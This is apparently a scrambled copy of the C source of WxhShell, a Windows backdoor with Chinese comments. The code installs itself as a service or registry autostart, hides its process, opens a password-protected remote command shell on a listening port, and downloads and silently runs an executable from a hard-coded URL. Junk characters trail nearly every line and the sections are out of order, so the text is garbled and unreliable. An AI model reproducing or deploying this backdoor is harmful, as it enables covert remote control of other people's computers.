DWORD BasePriority; m RZ:ie
ULONG UniqueProcessId; ]f1{n
ULONG InheritedFromUniqueProcessId; YX*Qd$chZ
} PROCESS_BASIC_INFORMATION; OaL\w
D^
7h)iu9j
PROCNTQSIP NtQueryInformationProcess; J"FC%\|
: g.46dp4
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Sua[O$
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^OErq&`u
Dnc<sd;
HANDLE hProcess; )7:J[0ZiQ
PROCESS_BASIC_INFORMATION pbi; o`.R!wm:W
)+Oujt
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U#1bp}y
if(NULL == hInst ) return 0; 0T>H)c6:\
XQ*eP?OS{
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d,by/.2
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B*gdgM*`
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O=9-Qv|
%K]euEqs
if (!NtQueryInformationProcess) return 0; pc?>cs8
TYA~#3G)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lKgKtQpi
if(!hProcess) return 0; Dn>%%K@0
,[A'tUl _
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CwX Z
t
R6
+G
CloseHandle(hProcess); JBnKK
w4LScvBg
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'L{8@gqi
if(hProcess==NULL) return 0; :EHJ\+kejX
N&[D>G]>v
HMODULE hMod; |_G )qp;
char procName[255]; nQGQWg`
unsigned long cbNeeded; F V,4pi
,y%3mR_~
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4l&g6YneX
/W<>G7%.
CloseHandle(hProcess); eu|j=mB
=LTmr1?
if(strstr(procName,"services")) return 1; // 以服务启动 *kIc9}
=f(cH152T
return 0; // 注册表启动 ,<:!NF9
} 3 R&lqxhg
6&bIXy
// 主模块 !a~`Bs$'jr
int StartWxhshell(LPSTR lpCmdLine) i%6;
{ SIKOFs
SOCKET wsl; q:<{% U$
BOOL val=TRUE; N
D<HXO
int port=0; BIj=!!
struct sockaddr_in door; o!~Jzd.=h
C.kxQ<
if(wscfg.ws_autoins) Install(); (8ht*b.5K
(|d34DOJ
port=atoi(lpCmdLine); {vo +gRYYv
@zgdq
if(port<=0) port=wscfg.ws_port; SwU\
q]^|Z
uf&N[M
WSADATA data; [ 4;Ii
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qp}Ma8+
'<0J@^vZ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; I=;+n-
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?<*-j4v
door.sin_family = AF_INET; 9 fMau
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2!Bd2
door.sin_port = htons(port); n$[f94d=
DD44"w_9
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iKas/8
closesocket(wsl); phE
&7*!Q
return 1; FW"^99mrnb
} "6a8s;
W(hMft%
if(listen(wsl,2) == INVALID_SOCKET) { vLxQ *50v$
closesocket(wsl); cVwbg[W]
return 1; c/5W4_J
} xm6 EKp:
Wxhshell(wsl); F}
d
WSACleanup(); QORN9SY
r_YIpnJ
return 0; 7#<c>~
w{dIFvQ"$
} |7KeR-
x3rlJs`$;
// 以NT服务方式启动 8t=(,^c
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %Qm k2
{ YJ:3!B>Zo
DWORD status = 0; +ki{H}G21
DWORD specificError = 0xfffffff; ,&4qgp{)
i55x`>]&sb
serviceStatus.dwServiceType = SERVICE_WIN32; [&*6_q"V
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 2m>-dqg
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?`[NFqv_]
serviceStatus.dwWin32ExitCode = 0; ~}ET?Q7t
serviceStatus.dwServiceSpecificExitCode = 0; LJ VG~Yeo
serviceStatus.dwCheckPoint = 0; "G:<7oTa
serviceStatus.dwWaitHint = 0; 7E!7"2e
a
wC-Rr^q
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )+H[kiN
if (hServiceStatusHandle==0) return; k0Ek:MjJr
nv<` K9d
status = GetLastError(); 1.q_f<U
if (status!=NO_ERROR) s6o>m*{
{ M/z}p
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8z5# ]u;
serviceStatus.dwCheckPoint = 0; $0^P0RAH
serviceStatus.dwWaitHint = 0; {7MjP+\
serviceStatus.dwWin32ExitCode = status; ]B=C|usJ
serviceStatus.dwServiceSpecificExitCode = specificError; 1p'Le!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +u'I0>)S
return; MCh#="L2
} HMY@F_qY`u
Ol$WpM
serviceStatus.dwCurrentState = SERVICE_RUNNING; ?r_l8
serviceStatus.dwCheckPoint = 0; bw&myzs
serviceStatus.dwWaitHint = 0; =e?$ M
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); YwcPX`eg
} A$.fv5${
~L7:2weV[
// 处理NT服务事件,比如:启动、停止 &:=$wc
VOID WINAPI NTServiceHandler(DWORD fdwControl)
,YhwpkL
{ , %YBG1E[y
switch(fdwControl) #%@MGrsK
{ u-"c0@
case SERVICE_CONTROL_STOP: -=698h*
serviceStatus.dwWin32ExitCode = 0; htP|3 B
serviceStatus.dwCurrentState = SERVICE_STOPPED; 1nPZ<^A&@
serviceStatus.dwCheckPoint = 0; m+itno
serviceStatus.dwWaitHint = 0; X bkb5EkA
{ (Vg}Hh?p
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q)af|GW$
} {0!#>["<
return; OlD`uA
case SERVICE_CONTROL_PAUSE: X5
ITF)&
serviceStatus.dwCurrentState = SERVICE_PAUSED; *5,c Rz
break; hnWo|! ,O$
case SERVICE_CONTROL_CONTINUE: sCl$f7"
serviceStatus.dwCurrentState = SERVICE_RUNNING; ~:_0CKa!
break; S'B6jJK2x
case SERVICE_CONTROL_INTERROGATE: 3z;_KmM
break; 7+w'Y<mJ
}; )
uP\>vRy
SetServiceStatus(hServiceStatusHandle, &serviceStatus); kcB+ _
} &@ 3m-Z
z&4~x!-_
// 标准应用程序主函数 fRTo.u
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Fl>]&x*~
{ 7m5Co>NkuK
dRvin[R8
// 获取操作系统版本 y33~HsOJ
OsIsNt=GetOsVer(); ;1DdjE Tr
GetModuleFileName(NULL,ExeFile,MAX_PATH); #~qAHJ<
=neL}Fav56
// 从命令行安装 GJ'spgz
if(strpbrk(lpCmdLine,"iI")) Install(); y|_Eu:
OY"6J@[z
// 下载执行文件 ZkB3[$4C=5
if(wscfg.ws_downexe) { /,|CrNwY*
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (sw-~U%
WinExec(wscfg.ws_filenam,SW_HIDE); 8n4V
cu
} cjULX+h
EP7AP4
if(!OsIsNt) { %IBL0NQT
// 如果时win9x,隐藏进程并且设置为注册表启动 [;O^[Iybf:
HideProc(); Gt/4F-Gn
StartWxhshell(lpCmdLine); #k5#j4!b
} }fhHXGK.
else 0'$p$K
if(StartFromService()) 3}&ZOO
// 以服务方式启动 #p
yim_
StartServiceCtrlDispatcher(DispatchTable); K'6[J"dB
else ,ZI\dtl
// 普通方式启动 klWYuStZ
StartWxhshell(lpCmdLine); +yt6(7V*
;_<)JqUh
return 0; JhR W[~
} rVAL|0;3
nv5u%B^
-+U/Lrt>8
G@d`F
=========================================== .gZZCf&?
N
b3$4(F
& 7QH^
8V4V3^_xs
/c+)C"
nbd Gt
" EH`0
UCqs}U8
#include <stdio.h> Gg0#H^s( (
#include <string.h> J.M.L$
#include <windows.h> [EHrIn
#include <winsock2.h> evl-V>
#include <winsvc.h> 'zgvQMu
#include <urlmon.h> 't>r
sp+#
_py2kjA6
#pragma comment (lib, "Ws2_32.lib") \k&1*b?h
#pragma comment (lib, "urlmon.lib") 0|)19LR
oJaAM|7uv
#define MAX_USER 100 // 最大客户端连接数 V"d=.Hb>
#define BUF_SOCK 200 // sock buffer Pl~P- n
#define KEY_BUFF 255 // 输入 buffer Gm=>!.p
^>r^3C)_-
#define REBOOT 0 // 重启 /3^P_\,>f
#define SHUTDOWN 1 // 关机 xNdID j@
$T
dC/#7
#define DEF_PORT 5000 // 监听端口 -a) T6:e
hH+bt!aH
#define REG_LEN 16 // 注册表键长度 >BqCkyM9Kf
#define SVC_LEN 80 // NT服务名长度 ~-Oa8ww
)}X5u%woV
// 从dll定义API CD?&<NV
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~mILA->F
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _C+DB A
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q=Xg*PM,
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A1JzW)B
_dmL}t-
// wxhshell配置信息 sj9D
struct WSCFG { Da,&+fZI!
int ws_port; // 监听端口 dl/X."iv!
char ws_passstr[REG_LEN]; // 口令 2Ug.:![
int ws_autoins; // 安装标记, 1=yes 0=no kG3!(?:
char ws_regname[REG_LEN]; // 注册表键名 r#~K[qb
char ws_svcname[REG_LEN]; // 服务名 F ! )-|n}
char ws_svcdisp[SVC_LEN]; // 服务显示名 |6B6?'
char ws_svcdesc[SVC_LEN]; // 服务描述信息 I($,9|9F
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R+.
N n
int ws_downexe; // 下载执行标记, 1=yes 0=no }V^e7d
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _ 5\AS+[x
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^LO]Z
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}; 5
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// default Wxhshell configuration e(\Q)re5Q
struct WSCFG wscfg={DEF_PORT, zHxmA
"xuhuanlingzhe", 9A;6x$s
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"Wxhshell", *h,3}\
"Wxhshell", Dsb(CoWw
"WxhShell Service", me'(lQ6^
"Wrsky Windows CmdShell Service", w#{l4{X|
"Please Input Your Password: ", />Jm Rdf
1, S:s
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"http://www.wrsky.com/wxhshell.exe", Z t`j\^4n
"Wxhshell.exe" 91;HiILgT
}; ?Leyz
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// 消息定义模块 2}`R"MeS
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }1rvM4{/+f
char *msg_ws_prompt="\n\r? for help\n\r#>"; (n=Aa;
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?Y!^I2Y6
char *msg_ws_ext="\n\rExit."; @W [{2d
char *msg_ws_end="\n\rQuit."; i_YW;x
char *msg_ws_boot="\n\rReboot..."; 97x%2.\:
char *msg_ws_poff="\n\rShutdown..."; ;tN4HiN
char *msg_ws_down="\n\rSave to "; s-5wbi.C
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char *msg_ws_err="\n\rErr!"; t,?,F4j
char *msg_ws_ok="\n\rOK!"; z_)`g`($
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char ExeFile[MAX_PATH]; Hd*Fc=>"Y
int nUser = 0; 5byeWH0n3
HANDLE handles[MAX_USER]; }@*I+\W/
int OsIsNt; foyB{6q8
{*__B} ,N
SERVICE_STATUS serviceStatus; 8|vld3;
SERVICE_STATUS_HANDLE hServiceStatusHandle; C*j9Iaj
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// 函数声明 Z3n~&!
int Install(void); V#H8d_V
int Uninstall(void); f#mx:Q.7I
int DownloadFile(char *sURL, SOCKET wsh); g$gS7!u,
int Boot(int flag); ^teaJ y%
void HideProc(void); gD5P!}s[u0
int GetOsVer(void); 9i[4"&K
int Wxhshell(SOCKET wsl); fn?VNZ`J
void TalkWithClient(void *cs); Okoo(dfM
int CmdShell(SOCKET sock); |<2
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int StartFromService(void); o#dcD?^
int StartWxhshell(LPSTR lpCmdLine); zg7G^!PU
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zze z~bv7:
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8vO;IK]9b^
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// 数据结构和表定义 xtsL8-u f
SERVICE_TABLE_ENTRY DispatchTable[] = iRouLd
{ rV U:VL`2
{wscfg.ws_svcname, NTServiceMain}, 9C?cm:
{NULL, NULL} FRS28D
}; /THNP 8.
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// 自我安装 Zr9 d&|$
int Install(void) W1<